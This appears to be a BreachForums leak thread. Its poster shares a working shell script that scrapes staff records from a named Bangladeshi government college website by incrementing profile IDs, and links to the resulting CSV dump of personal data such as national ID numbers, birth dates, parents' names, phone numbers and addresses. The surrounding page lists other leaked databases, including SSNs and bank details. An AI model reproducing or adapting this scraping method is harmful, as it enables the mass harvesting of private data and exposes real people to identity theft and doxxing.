Bangladesh Colleges Scrape [csv's]
by vague - Friday December 29, 2023 at 12:37 PM
#1
I got bored and found out it was really easy to scrape Bangladesh sites for some data it's in no way useful or worth downloading but the following data includes: Fullname,Designation,Department,BCS Batch,Cadre ID,First Station & Date,Present Station & Date,Contact Number,E-Mail,Present Address,Father's Name,Mother's Name,Date of Birth,Gender,Religion,Blood Group,NID,Education,Permanent Address

List of sites:

laxmipurgovtcollege.edu.bd
www.akcc.gov.bd.csv
www.noakhalicoll.gov.bd

How I did it:
```#!/bin/sh

counter=1

table=("ID No." "NID." "Full Name" "Sex" "Religion" "Designation" "Date of Birth" "Blood Group" "Note" "Father Name" "Mother Name" "Education" "Address" "Contact Number" "E-Mail Address" "Jonining in This job" "Present Station")

while true; do
page="$(curl -s "https://laxmipurgovtcollege.edu.bd/teacher_staff_profile.php?id=$counter")"

# Check if the page is not empty
if [ -n "$page" ]; then
entry=""
for QUERY in "${table[@]}"; do
value="$(echo -n "$page" | grep -A 2 "$QUERY" | tr '\n' '|' | cut -d '|' -f3 | tr -d ' ' | tr -d '\n' | tr -d '\r')"

# Check if the value is not empty before appending
if [ -n "$value" ]; then
entry+="$(printf $value| tr -d '\n'),"
fi
done

# Remove <td></td> and similar patterns
entry="$(printf "$entry" | sed -e 's|<td[^>]*>||g' -e 's|</td>||g' -e "s|<aclass=\"dropdown-item\"href='students_list.php'>StudentsList</a>||g")"

echo "$entry"
# Remove trailing comma and echo the formatted entry
echo "${entry%,}" >> "$1"
else
echo "Failed to fetch data for ID $counter"
fi

((counter++))
done
```
Not many entries but who cares
here is the download link: https://gofile.io/d/3wTPgz
#2
great post, thank you
#3
The link in this thread is dead. Please reply to the PM you were sent to get your thread moved back to the Databases section.
See dead links, reposts, or threads without samples in Databases/Other Leaks/Stealer logs? Report it or tag me @Addka72424
New on this forum? Check this thread | TOR
Want to get credits by reposting leaks? Check Earn credits by reposting leaks! | TOR
Want to add your thread to the official section? Check Add to official requests | TOR
Don't know how to use forum Escrow? Check How to use BreachForums escrow | TOR
Looking for verified leaks that haven't been added to the official index yet? Check Unofficial Database Index | TOR

:420line:


Possibly Related Threads…
Thread Author Replies Views Last Post
  Net Jets Aviation Database 100K Vyntra 0 61 3 hours ago
Last Post: Vyntra
  Net Jets Aviation Database 100K Vyntra 0 63 3 hours ago
Last Post: Vyntra
  150K USA People Database SSN DOB Full Name shuiyazi 24 6,091 Yesterday, 09:47 AM
Last Post: Migu
  United States Citizen Bank Information - 2024 hype 16 2,676 Yesterday, 09:45 AM
Last Post: Migu
  Thailand BLW Casino Member 43K WUDA123 2 587 May 10, 2026, 09:11 AM
Last Post: Migu

Forum Jump:


 Users browsing this forum: 1 Guest(s)